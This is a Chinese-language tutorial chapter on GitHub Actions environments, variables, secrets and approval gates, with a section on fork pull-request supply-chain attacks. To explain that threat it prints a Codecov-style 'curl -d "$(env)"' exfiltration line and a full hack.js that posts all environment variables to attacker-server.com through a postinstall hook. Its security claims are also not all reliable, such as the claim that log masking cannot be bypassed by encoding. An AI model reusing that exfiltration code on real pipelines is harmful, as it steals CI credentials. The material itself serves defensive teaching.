第十七章:github 环境变量实践多环境治理与密钥管理基础

第十七章:github 环境变量实践多环境治理与密钥管理基础

本章目标:建立生产级的环境隔离体系,掌握零信任的密钥管理策略,防御供应链攻击


开始之前:你真的准备好了吗?

前置知识自检清单

在深入本章之前,请诚实地回答以下问题。如果有任何一项回答 “不确定”,请先补课!

知识点自检问题快速补课
Git 基础你能解释 git taggit branch 的区别吗?Git Tag 官方文档
环境变量你知道如何在命令行中设置临时环境变量吗?
(Windows: set VAR=value / Linux: export VAR=value
环境变量入门
YAML 语法你能看懂 YAML 中的数组和对象嵌套吗?YAML 5 分钟速成
SSH 与密钥你知道公钥和私钥的区别吗?SSH 密钥原理图解
HTTP 状态码你能区分 401 Unauthorized 和 403 Forbidden 吗?HTTP 状态码速查

如果你对上述任何一项不熟悉,强烈建议先花 30 分钟补课,否则后续内容会非常吃力。


17.1. 为什么需要多环境?生产事故的血泪教训

17.1.1. 真实案例:一次删库引发的灾难

时间:2023 年某个周五晚上 10 点
地点:某创业公司办公室
主角:开发者小张(工作 2 年)

小张正在修复一个紧急 Bug。为了复现问题,他需要查看生产数据库中的某条异常记录。他打开了项目的配置文件 config/database.js

1
2
3
4
5
6
7
8
// config/database.js(灾难发生前的状态)
module.exports = {
host: 'localhost', // 本地数据库
port: 3306,
user: 'root',
password: 'dev123',
database: 'myapp_dev'
}

为了连接生产库,小张将配置临时改成了:

1
2
3
4
5
6
7
module.exports = {
host: '47.98.123.45', // 生产服务器IP
port: 3306,
user: 'root',
password: 'Prod@2023!',
database: 'myapp_production' // 🚨 危险!
}

5 分钟后

小张成功定位到了 Bug,是某个用户的数据字段格式异常。他本地写了个清理脚本:

1
2
// 他以为这是在本地测试库运行的
db.query('DELETE FROM users WHERE id = 12345');

脚本执行了。

但此时的配置文件,还是指向生产库!

10 秒后,客服电话炸了。 用户 12345 是公司的 VIP 大客户,他的所有订单、积分、会员等级数据全部消失。小张这才意识到,自己忘记把配置改回本地了。


17.1.2. 惨案分析:单环境配置的三宗罪

让我们用工程化的视角解剖这次事故:

罪状一:配置与代码混合
配置文件被提交到 Git 仓库,任何人 clone 代码后都能看到生产库密码。这违反了 配置分离原则

罪状二:依赖人工记忆
小张需要 “记得” 改回配置。人类的记忆是不可靠的,尤其在深夜、高压、疲劳状态下。

罪状三:缺乏物理隔离
测试代码能够直接访问生产数据库,没有任何门禁、审批、二次确认。


17.1.3. 正确的解法:三环境物理隔离模型

成熟的工程团队会建立 三级环境防护体系,每个环境有严格的职责边界:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌─────────────────────────────────────────────────────────────┐
│ 环境隔离架构图 │
├─────────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────┐ │
│ │ Dev 开发环境 │ ───> │ Staging 预发 │ ───> │ Production│ │
│ │ │ │ │ │ 生产环境 │ │
│ │ • Mock数据 │ │ • 真实数据 │ │ • 真实用户 │ │
│ │ • 无限制破坏 │ │ • 需要审批 │ │ • 严格审批 │ │
│ │ • 自动部署 │ │ • 定时部署 │ │ • 手动发布 │ │
│ └──────────────┘ └──────────────┘ └──────────┘ │
│ │
│ 代码每合并一次 每天/每周同步一次 每月/按需发布 │
│ 就自动部署 最新的主分支代码 经审批的版本 │
└─────────────────────────────────────────────────────────────┘

环境职责对照表

环境数据来源可破坏性部署频率审批要求典型用途
DevMock 数据或匿名化快照✅ 随意删改每次 Push 自动部署❌ 无需审批单元测试、功能开发
Staging生产数据的 脱敏副本⚠️ 谨慎操作每天/每周定时⚠️ Tech Lead 审批集成测试、UAT 验收
Production真实用户数据🚫 严禁破坏按需发布(通常每月)✅ 必须审批真实服务

关键要点

  1. Staging 必须是 Production 的高保真克隆:相同的服务器配置、相同的数据规模、相同的第三方 API 集成(使用沙盒账号)
  2. 永远不要在 Staging 测试通过前发布到 Production
  3. Dev 环境的失败不应该阻塞其他开发者

17.2. GitHub Environments:原生的多环境管理利器

17.2.1. Environments 核心概念

GitHub Environments 不仅仅是一个 “标签” 或 “变量组”,它是一套完整的 访问控制与审批系统

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌────────────────────────────────────────────────────────┐
│ GitHub Environment 核心能力 │
├────────────────────────────────────────────────────────┤
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ 1. 独立变量空间(Variables & Secrets) │ │
│ │ 同名变量在不同环境自动解析为不同值 │ │
│ └──────────────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ 2. 人工审批门禁(Required Reviewers) │ │
│ │ 指定人员点击"Approve"前,流水线暂停 │ │
│ └──────────────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ 3. 分支保护(Deployment Branches) │ │
│ │ 只有特定分支(如main)可以部署 │ │
│ └──────────────────────────────────────────────┘ │
│ │
│ ┌──────────────────────────────────────────────┐ │
│ │ 4. 等待计时器(Wait Timer) │ │
│ │ 强制冷却时间,防止频繁抖动部署 │ │
│ └──────────────────────────────────────────────┘ │
│ │
└────────────────────────────────────────────────────────┘

17.2.2. 手把手配置:创建你的第一个 Environment

步骤 1:进入仓库设置页面

  1. 打开你的 GitHub 仓库
  2. 点击顶部导航栏的 Settings(⚙️ 齿轮图标)
  3. 在左侧边栏找到 Environments(如果看不到,说明你的仓库可能是私有的且没有付费计划,需要升级到 Pro 或使用公开仓库)

进入 Environments 设置

步骤 2:创建 Production 环境

点击绿色按钮 New environment,输入环境名称:Production注意大小写,后续代码会用到

步骤 3:配置审批规则(核心安全机制)

进入环境配置页面后,你会看到以下区域:

配置项 A:Required reviewers(必需审查者)

勾选 Required reviewers,然后在搜索框中输入审查者的 GitHub 用户名。

⚠ 重要提示

  • 审查者必须对仓库有 Write 权限 以上
  • 可以添加多人(建议至少 2 人,防止单点故障)

实际效果演示

当 Workflow 运行到需要部署 Production 环境时:

1
2
3
4
5
jobs:
deploy-prod:
environment: Production # 触发审批
steps:
- run: echo "等待审批..."

流水线会进入 Waiting 状态(黄色 ⏸️ 图标),界面显示:

1
2
3
4
⏸️ This workflow is waiting for approval

Review required
Deployment to Production must be reviewed by @tech-lead

只有当 @tech-lead 进入 Actions 页面,点击 Review deployments → 勾选 Production → 输入批准理由 → 点击 Approve and deploy,流水线才会继续。

配置项 B:Deployment branches(部署分支限制)

分支限制配置

Deployment branches 区域,选择 Selected branches,添加规则:

  • 分支名模式:main(或 release/* 如果你用 GitFlow)

实际效果

如果有人尝试从 feature/new-ui 分支触发部署到 Production:

1
2
3
4
5
6
7
on:
push:
branches: [ "feature/new-ui" ] # ❌ 不允许

jobs:
deploy:
environment: Production

GitHub 会直接拒绝,报错:

1
Error: Deployment to Production from branch feature/new-ui is not allowed

17.2.3. Variables vs Secrets vs Env:三层变量系统详解

这是初学者 最容易混淆 的概念。让我们通过对比表格彻底理清:

上下文数据类型可见性配置位置使用场景调用语法日志显示
vars明文变量任何有读权限的人可见Settings → VariablesAPI 地址、功能开关、版本号${{ vars.API_URL }}✅ 完整显示
secrets加密密钥仅 Workflow 运行时可用Settings → Secrets密码、Token、私钥${{ secrets.DB_PASS }}❌ 打码显示 ***
env临时变量仅当前 Workflow 可见workflow 文件的 env:计算结果、中间变量${{ env.BUILD_TIME }}✅ 完整显示

三种变量的组合使用

场景描述:我们要部署一个 Web 应用,需要配置数据库连接、API 密钥、以及构建时间戳。

第一步:在 GitHub UI 中配置

进入 Settings → Environments → Production

添加 Variable(明文配置):

  • Name: API_ENDPOINT
  • Value: https://api.prod.example.com

添加 Secret(加密配置):

  • Name: DB_PASSWORD
  • Value: Prod@SecurePass2023!

第二步:在 Workflow 中使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
name: Deploy with Mixed Variables

on:
push:
branches: [ "main" ]

# ⭐ env: 定义Workflow级别的临时变量
env:
BUILD_TIME: ${{ github.event.head_commit.timestamp }} # 从事件中提取
NODE_VERSION: '18'

jobs:
deploy:
runs-on: ubuntu-latest
environment: Production # 🔑 绑定环境,才能读取 vars 和 secrets

steps:
- name: 显示配置信息
run: |
echo "📦 API 地址: ${{ vars.API_ENDPOINT }}" # ✅ 来自Environment Variables
echo "🔒 数据库密码: ${{ secrets.DB_PASSWORD }}" # ✅ 来自Environment Secrets
echo "⏰ 构建时间: ${{ env.BUILD_TIME }}" # ✅ 来自Workflow env
echo "🟢 Node版本: ${{ env.NODE_VERSION }}" # ✅ 来自Workflow env

- name: 连接数据库
env:
# ⭐ 通过env将secrets注入到脚本环境变量
DATABASE_URL: "mysql://root:${{ secrets.DB_PASSWORD }}@${{ vars.API_ENDPOINT }}/myapp"
run: |
# 在脚本中可以直接用 $DATABASE_URL
./scripts/migrate.sh

第三步:查看日志输出

当这个 Workflow 运行后,日志会显示:

1
2
3
4
📦 API 地址: https://api.prod.example.com
🔒 数据库密码: ***
⏰ 构建时间: 2024-12-01T02:15:30Z
🟢 Node版本: 18

注意 secrets.DB_PASSWORD 被自动打码为 ***,这是 GitHub 的安全机制。


17.2.4. 实战演练:从零搭建多环境验证 Demo

理论已经讲透,现在我们来真刀真枪地实践一遍。我们将从零创建一个 Vite 前端项目,模拟真实的开发场景,亲眼见证变量的自动切换和审批流程的触发。

第一阶段:本地项目初始化

首先,我们需要在本地构建一个最基础的 React 应用,并将其推送到 GitHub,如果您在第十六节的项目没有删除,可以继续复用,教程为了完整性快速搭建一个最小可测试案例

步骤执行操作/命令说明
1. 创建项目npm create vite@latest vite-cicd-demo -- --template react使用 Vite 快速生成 React 模板
2. 安装依赖cd vite-cicd-demo
npm install
进入目录并安装 Node 依赖
3. Git 初始化git init初始化本地 Git 仓库
4. 修改代码编辑 src/App.jsx替换为下方提供的测试代码

文件路径src/App.jsx

我们将修改 App 组件,让它能够读取并展示环境变量,以便我们验证注入是否成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import './App.css'

function App() {
return (
<div style={{ padding: '20px', textAlign: 'center' }}>
<h1>持续交付多环境演示</h1>
<div className="card">
{/* 读取并展示环境变量 */}
{/* 注意:Vite 仅暴露 VITE_ 开头的变量以防止密钥泄露 */}
<p>
当前 API 地址: <strong>{import.meta.env.VITE_API_URL}</strong>
</p>
</div>
</div>
)
}

export default App

第二阶段:GitHub 环境配置(关键)

这是核心步骤,我们需要在 GitHub 仓库中创建两个环境,并分别设置不同的变量。请在 GitHub 仓库的 Settings -> Environments 页面执行以下操作:

环境名称需配置的变量 (Name: Value)保护规则配置 (Protection Rules)
StagingVITE_API_URL: https://staging-api.example.com无需配置,保持默认
ProductionVITE_API_URL: https://prod-api.example.com勾选 Required reviewers
在搜索框输入你的 GitHub ID 并选中

第三阶段:编写 CD 流水线

为了代码复用和易于维护,我们采用 Composite Action 的方式,将构建和验证逻辑提取为可复用的组件。

步骤 1:创建可复用的 Composite Action

首先,我们需要创建一个可复用的构建和验证 action,这样两个环境可以共享相同的构建逻辑。

文件路径.github/actions/build-and-verify/action.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
name: 'Build and Verify'
description: '构建项目并验证输出'

inputs:
expected_domain:
description: '期望在构建产物中找到的域名'
required: true
verify_message:
description: '验证步骤的提示消息'
required: false
default: '正在检查构建产物...'
vite_api_url:
description: 'Vite API URL 环境变量值'
required: true

runs:
using: 'composite'
steps:
# 注意:checkout 步骤应在工作流中完成,以便能够找到本 action 文件
# 注意:vars 上下文在 composite action 中不可用,需要通过 input 参数传递
- uses: actions/setup-node@v4
with:
node-version: 18

- name: Install dependencies
shell: bash
run: npm install

- name: Build
shell: bash
run: npm run build
env:
VITE_API_URL: ${{ inputs.vite_api_url }}

- name: Verify Output
shell: bash
run: |
echo "${{ inputs.verify_message }}"
grep -r "${{ inputs.expected_domain }}" dist/ || echo "Build failed to inject variable"

步骤 2:定义工作流文件

现在创建工作流文件,使用上面创建的 composite action。

重要提示

  • 使用本地 composite action(./.github/actions/...)时,必须先执行 actions/checkout@v4,否则 GitHub Actions 无法找到 action.yml 文件
  • vars 上下文在 composite action 中不可用,需要通过 inputs 参数传递环境变量值

文件路径.github/workflows/cd-pipeline.yml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
name: CD Pipeline Demo

on:
push:
branches: ['main']

jobs:
# 阶段 1: 构建并部署到 Staging
build-staging:
runs-on: ubuntu-latest
environment: Staging # 核心:绑定 Staging 环境,自动读取对应变量
steps:
# 必须先 checkout 代码,才能使用本地的 composite action
- uses: actions/checkout@v4

- name: Build and Verify
uses: ./.github/actions/build-and-verify
with:
expected_domain: 'staging-api.example.com'
verify_message: '正在检查构建产物...'
vite_api_url: ${{ vars.VITE_API_URL }}

# 阶段 2: 构建并部署到 Production
build-production:
needs: build-staging # 必须等 Staging 成功
runs-on: ubuntu-latest
environment: Production # 核心:绑定 Production 环境(将触发人工审批)
steps:
# 必须先 checkout 代码,才能使用本地的 composite action
- uses: actions/checkout@v4

- name: Build and Verify
uses: ./.github/actions/build-and-verify
with:
expected_domain: 'prod-api.example.com'
verify_message: '生产环境构建完成!'
vite_api_url: ${{ vars.VITE_API_URL }}

核心配置解析:

  • Composite Action 的优势

    • 代码复用:两个环境共享相同的构建逻辑,避免重复代码
    • 易于维护:修改构建流程只需在一个地方更新
    • 一致性保证:确保 Staging 和 Production 使用完全相同的构建流程
  • 工作流配置

    • needs: build-staging:确保了串行执行顺序,测试环境挂了,生产环境根本不会开始
    • environment: Production:这是触发 “审批弹窗” 的开关。Runner 运行到此时,会向 GitHub 查询该环境是否有保护规则
    • uses: ./.github/actions/build-and-verify:引用本地创建的 composite action,通过 with 参数传入不同环境的配置
    • vars.VITE_API_URL:为什么用 vars 而不是 env

在本例中的选择

  • 我们在 GitHub 的 Environments(Staging/Production)中设置了 VITE_API_URL 变量
  • 这些变量存储在 GitHub 的配置中,不是 workflow 文件中的 env:
  • 因此必须使用 vars.VITE_API_URL 来访问

如果改用 env 的方式(不推荐,因为无法区分环境):

1
2
3
4
env:
VITE_API_URL: 'https://staging-api.example.com' # 硬编码,无法区分环境
steps:
- run: echo ${{ env.VITE_API_URL }}

第四阶段:执行与验证

将上述代码提交并推送到 GitHub 后,打开仓库的 Actions 页面,观察流水线的运行状态。

观察阶段现象描述操作/结果
1. Staging 运行build-staging 任务显示为绿色(Success)点击日志 Verify Output,能看到 staging-api 字符串
2. Production 等待build-production 任务显示为 黄色(Waiting)界面出现提示:Review required
3. 人工审批点击 Review deployments 按钮选择 Production 环境,输入备注,点击 Approve and deploy
4. Production 运行build-production 任务由黄变绿点击日志 Verify Output,能看到 prod-api 字符串

通过这个实战,我们亲手验证了:代码虽然是一份,但通过不同的 Environment 绑定,最终生成了包含不同配置的构建产物,且生产环境的发布被牢牢控制在审批流程之中。


17.2.5. 常见问题排查指南

问题 1:提示 “Environment not found”

错误信息

1
Error: Environment 'Production' not found

原因

  • Environment 名称拼写错误(大小写敏感)
  • Environment 还没创建

解决方法

  1. 检查 workflow 中的 environment: name: 与 GitHub Settings 中的名称是否完全一致
  2. 确认 Environment 已经保存(刷新页面查看)

问题 2:变量显示为空

现象:构建日志显示 API地址: 未配置

原因

  1. 忘记在 Environment 中添加变量
  2. 变量名称拼写错误
  3. 没有绑定 environment:

调试步骤

1
2
3
4
- name: 调试变量
run: |
echo "VITE_API_URL的值: '${{ vars.VITE_API_URL }}'"
echo "环境名称: ${{ github.environment }}"

如果 vars.VITE_API_URL 显示为空,检查:

  • Settings → Environments → [环境名] → Environment variables 中是否存在该变量
  • workflow 中是否有 environment: name: Production 这一行

问题 3:Composite Action 找不到

错误信息

1
Error: Unable to resolve action `./.github/actions/build-and-verify`

原因:没有先执行 actions/checkout@v4

正确顺序

1
2
3
steps:
- uses: actions/checkout@v4 # ⭐ 必须先执行
- uses: ./.github/actions/build-and-verify # 然后才能调用本地action

17.3. 密钥管理的生死线:Secrets 安全存储与使用

如果说 Variables 是配置的 “皮肤”,那么 Secrets 就是配置的 “心脏”。一旦密钥泄露,后果不堪设想。

17.3.1. 血的教训:GitHub 历史上的密钥泄露事件

案例 1:Travis CI 密钥泄露(2021 年)

2021 年 9 月,安全研究员发现:Travis CI 的日志系统存在漏洞,任何人 都能通过构造特殊 URL 访问其他用户的构建日志,而这些日志中包含了大量环境变量打印,其中就有 AWS 密钥、数据库密码等敏感信息。

损失统计

  • 超过 770 个组织的密钥被暴露
  • 包括 Hashicorp、Mozilla 等知名企业
  • 攻击者利用泄露的 AWS 密钥挖矿,造成数十万美元损失

案例 2:Codecov 供应链攻击(2021 年)

攻击者入侵了代码覆盖率工具 Codecov 的 bash 上传脚本,植入了窃取环境变量的恶意代码:

1
2
# 攻击者植入的恶意代码
curl -sm 0.5 -d "$(env)" https://attacker-server.com/steal 2>/dev/null

这个脚本在 CI 运行时,会将所有环境变量(包括 Secrets)发送到黑客服务器。

影响范围

  • 超过 29,000 个客户
  • 持续 2 个月未被发现
  • 泄露的密钥包括 NPM token、云服务凭证等

17.3.2. GitHub Secrets 的安全机制

GitHub 为了防止上述悲剧,在 Secrets 系统中内置了多层防护:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
┌───────────────────────────────────────────────────────┐
│ GitHub Secrets 安全架构 │
├───────────────────────────────────────────────────────┤
│ │
│ 1️⃣ 加密存储层 │
│ • 使用 libsodium 加密(XSalsa20 + Poly1305) │
│ • 每个Secret有独立的加密密钥 │
│ • 密钥存储在独立的密钥管理服务(KMS)中 │
│ │
│ 2️⃣ 传输保护层 │
│ • 仅通过HTTPS传输 │
│ • Runner启动时临时解密注入 │
│ • 任务结束后立即清除内存 │
│ │
│ 3️⃣ 日志脱敏层 │
│ • 自动检测输出中的Secret值 │
│ • 替换为 *** (即使只匹配部分字符串) │
│ • 无法通过base64/hex编码绕过 │
│ │
│ 4️⃣ 审计跟踪层 │
│ • 记录每次Secret的读取时间 │
│ • 记录哪个Workflow访问了哪个Secret │
│ • 企业版提供审计日志下载 │
│ │
└───────────────────────────────────────────────────────┘

17.3.3. Secrets 的三级作用域与最佳实践

GitHub 提供了三种 Secrets 作用域,选对作用域是安全的第一步:

作用域对比表

作用域配置路径可见范围适用场景优先级
Organization Secrets组织 Settings → Secrets组织下所有仓库(可选择性共享)公司级基础设施密钥(如 NPM 私有仓库 Token)最低
Repository Secrets仓库 Settings → Secrets当前仓库所有 Workflow项目通用但不随环境变化的密钥(如 Docker Hub 密码)中等
Environment Secrets仓库 Settings → Environments → [环境] → Secrets仅绑定该环境的 Job 可访问随环境变化的密钥(如生产库密码 vs 测试库密码)最高

优先级规则:当同名 Secret 在多个作用域中存在时,Environment Secrets 会覆盖 Repository Secrets。

最佳实践决策树

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
开始配置一个密钥

├─ 这个密钥会随环境变化吗?(例如:生产库密码 ≠ 测试库密码)
│ ├─ 是 → 使用 Environment Secrets ✅
│ │ (例如:DB_PASSWORD, AWS_SECRET_KEY)
│ │
│ └─ 否 → 继续判断
│ │
│ ├─ 多个仓库需要共享这个密钥吗?
│ │ ├─ 是 → 使用 Organization Secrets
│ │ │ (例如:NPM_REGISTRY_TOKEN, COMPANY_VPN_KEY)
│ │ │
│ │ └─ 否 → 使用 Repository Secrets
│ │ (例如:DOCKER_HUB_PASSWORD, CODECOV_TOKEN)
│ │
│ └─ ⚠️ 特殊情况:如果是个人项目且没有多环境
│ → 也使用 Repository Secrets

17.3.4. 实战:配置数据库密钥的正确姿势

让我们通过一个真实场景演示如何配置密钥。

场景描述

  • 我们有一个 Node.js 后端项目
  • Staging 环境连接测试数据库(密码:TestDB@2024
  • Production 环境连接生产数据库(密码:ProdDB#Secure!9527
  • 两个环境都需要连接 Redis(但密码不同)

步骤 1:创建 Staging 环境的 Secrets

进入 Settings → Environments → Staging → Environment secrets

image-20251201104754756

点击 Add secret,依次添加:

NameValue说明
DB_HOSTtest-db.internal.com虽然是明文,但为了统一管理,也可以用 Secret
DB_PASSWORDTestDB@2024⚠️ 注意:输入后无法再查看
REDIS_PASSWORDredis_test_pass

重要提醒

  • Secret 一旦保存,无法再查看原始值(只能覆盖)
  • 建议在提交前复制一份到密码管理器(如 1Password)
  • 密码长度建议至少 16 位,包含大小写+数字+特殊字符

步骤 2:创建 Production 环境的 Secrets

进入 Settings → Environments → Production → Environment secrets

添加同名但不同值的 Secrets:

NameValue
DB_HOSTprod-db.aws.rds.com
DB_PASSWORDProdDB#Secure!9527
REDIS_PASSWORDredis_prod_complex_password_2024

步骤 3:在 Workflow 中安全使用

错误示范(❌ 永远不要这样做):

1
2
3
4
5
# ❌ 危险:直接打印Secret
- name: 连接数据库
run: |
echo "密码是: ${{ secrets.DB_PASSWORD }}" # 虽然会被打码,但这是坏习惯
mysql -h ${{ secrets.DB_HOST }} -p${{ secrets.DB_PASSWORD }}

正确示范(✅ 通过 env 间接注入):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
name: Deploy Backend

on:
push:
branches: [ "main" ]

jobs:
deploy-staging:
runs-on: ubuntu-latest
environment: Staging # ⭐ 绑定环境

steps:
- uses: actions/checkout@v4

- name: 运行数据库迁移
env:
# ⭐ 将Secret注入为环境变量(不直接暴露在命令行中)
DATABASE_URL: "mysql://root:${{ secrets.DB_PASSWORD }}@${{ secrets.DB_HOST }}/myapp"
REDIS_URL: "redis://:${{ secrets.REDIS_PASSWORD }}@redis.internal:6379"
run: |
# 脚本内部通过 $DATABASE_URL 读取,不会出现在日志中
npm run migrate

- name: 验证连接(安全方式)
env:
DB_HOST: ${{ secrets.DB_HOST }}
DB_PASS: ${{ secrets.DB_PASSWORD }}
run: |
# ✅ 正确:只显示主机名,不显示密码
echo "正在连接到: $DB_HOST"

# ✅ 正确:使用环境变量传递密码给脚本
node scripts/test-connection.js

关键要点

  1. 永远不要在 run: 中直接使用 ${{ secrets.XXX }}
  2. 必须先注入到 env: 中,再由脚本读取环境变量
  3. 日志中只显示必要信息(如主机名),绝不显示完整连接字符串

17.3.5. Fork 仓库的供应链攻击与防御策略

这是本章 最重要、最容易被忽视 的安全知识点。

攻击场景还原:黑客如何窃取你的 Secrets

假设你维护了一个开源项目 awesome-cli,它有如下 CI 配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ❌ 危险配置(很多开源项目都这样写)
name: Test

on:
pull_request: # 任何人提交PR都会触发

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm install
- run: npm test
env:
# ⚠️ 这里暴露了NPM token,用于测试私有包
NPM_TOKEN: ${{ secrets.NPM_TOKEN }}

阶段 1:黑客行动

攻击者 evil-hacker Fork 了你的仓库,修改了 package.json

1
2
3
4
5
6
{
"scripts": {
"test": "node hack.js && jest", // 在测试前先运行恶意脚本
"postinstall": "node hack.js" // 在安装依赖时也运行
}
}

创建 hack.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// hack.js - 窃取所有环境变量
const https = require('https');

const payload = JSON.stringify({
secrets: process.env, // 💀 获取所有环境变量
repo: process.env.GITHUB_REPOSITORY,
ref: process.env.GITHUB_REF
});

const options = {
hostname: 'attacker-server.com',
port: 443,
path: '/steal',
method: 'POST',
headers: {
'Content-Type': 'application/json',
'Content-Length': payload.length
}
};

const req = https.request(options);
req.write(payload);
req.end();

阶段 2:提交恶意 PR

1
2
3
4
5
6
7
git add package.json hack.js
git commit -m "fix: typo in README" # 伪装成无害的修改
git push origin main

# 在GitHub上创建PR:
# 标题:"Fix typo in README"
# 描述:"Fixed a small typo I noticed"

阶段 3:触发窃取

  • 你的 CI 检测到 PR,自动运行测试
  • npm install 触发 postinstall,执行 hack.js
  • npm test 触发,再次执行 hack.js
  • 你的 NPM_TOKEN、数据库密码等全部发送到黑客服务器

攻击完成,你的所有密钥被盗。


GitHub 的默认防御机制

GitHub 意识到了这个问题,设置了一道防线:

来自 Fork 仓库的 Pull Request,默认无法访问 Secrets,且只有 Read 权限。

这意味着:

1
2
3
4
5
6
7
8
9
on:
pull_request: # 如果是Fork的PR

jobs:
test:
runs-on: ubuntu-latest
steps:
- run: echo "${{ secrets.NPM_TOKEN }}"
# 输出:(空字符串)

这就是为什么外部贡献者的 PR 经常 CI 失败!


死亡陷阱:pull_request_target 的误用

很多维护者为了让外部 PR 能跑测试,会改用 pull_request_target

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# ⚠️ 极度危险的配置
on:
pull_request_target: # 允许访问Secrets

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }} # 检出PR代码

- run: npm install # 执行PR的package.json
- run: npm test # 执行PR的测试脚本
env:
NPM_TOKEN: ${{ secrets.NPM_TOKEN }} # 💀 密钥泄露!

这个配置的致命问题

  1. pull_request_target 让 Runner 可以访问 Secrets
  2. checkout ref: ...head.sha 检出了黑客的代码
  3. npm installnpm test 执行了黑客的脚本
  4. 黑客代码在持有 Secrets 的环境中运行

正确的防御方案:三级防护策略

方案 A:完全 Mock(适用于单元测试)

如果测试不需要真实的外部服务,使用 Mock:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
on:
pull_request: # 外部PR无法拿到Secrets,但可以跑测试

jobs:
test:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4

- name: 运行单元测试(无需Secrets)
run: |
# 使用msw/nock等工具模拟HTTP请求
# 使用sqlite内存数据库替代真实数据库
npm run test:unit

方案 B:环境审批门禁(适用于集成测试)

利用 GitHub Environments 的审批机制:

步骤 1:创建专用环境

进入 Settings → EnvironmentsNew environment

  • 名称:External-PR-Test
  • 勾选 Required reviewers(添加你自己)
  • 添加测试用的 Secrets(如 TEST_API_KEY不要用生产密钥

步骤 2:编写安全的 Workflow

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
on:
pull_request_target: # 需要这个才能拿Token,但要加防护

jobs:
# 第一阶段:无密钥的快速检查
quick-check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}

- name: 代码静态分析
run: npm run lint

- name: 单元测试
run: npm run test:unit

# 第二阶段:需要密钥的测试(需审批)
integration-test:
needs: quick-check # 必须通过基础检查
runs-on: ubuntu-latest
environment: External-PR-Test # ⭐ 触发审批

steps:
- uses: actions/checkout@v4
with:
ref: ${{ github.event.pull_request.head.sha }}

- name: 集成测试
env:
API_KEY: ${{ secrets.TEST_API_KEY }} # 只有审批后才能访问
run: npm run test:integration

工作流程

  1. 黑客提交 PR
  2. quick-check 立即运行(无 Secrets,相对安全)
  3. integration-test 进入等待状态
  4. 你作为维护者,先 Review 代码
  5. 如果发现可疑代码(如上传环境变量),直接关闭 PR
  6. 如果代码安全,点击 Approve deployment

17.4. 本章小结与实战检查清单

恭喜你完成了多环境治理与密钥管理的学习!让我们回顾核心要点:

核心知识图谱

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
多环境治理
├── 环境隔离
│ ├── Dev(开发):Mock数据,随意破坏
│ ├── Staging(预发):生产克隆,需要审批
│ └── Production(生产):真实用户,严格审批

├── GitHub Environments
│ ├── Variables(明文配置)
│ ├── Secrets(加密密钥)
│ ├── Required Reviewers(审批门禁)
│ └── Deployment Branches(分支限制)

└── 安全防御
├── Fork PR默认无Secrets访问
├── pull_request_target的正确使用
└── 环境审批 + 代码隔离

密钥管理
├── 三级作用域
│ ├── Organization Secrets(公司级)
│ ├── Repository Secrets(项目级)
│ └── Environment Secrets(环境级)⭐ 推荐

├── 使用原则
│ ├── 永远不要明文打印Secret
│ ├── 通过env间接注入
│ └── 最小权限原则

下一章预告

在第 18 章《自动化版本管理与发布》中,我们将解决另一个重要问题:如何在云端自动生成版本号和变更日志。你将学会:

  • Conventional Commits 规范的正确写法
  • Release Please 的工作原理与配置
  • 如何实现版本号与代码的自动同步
  • Monorepo 项目的独立版本管理

现在,请休息 10 分钟,喝杯水,然后继续下一章的学习!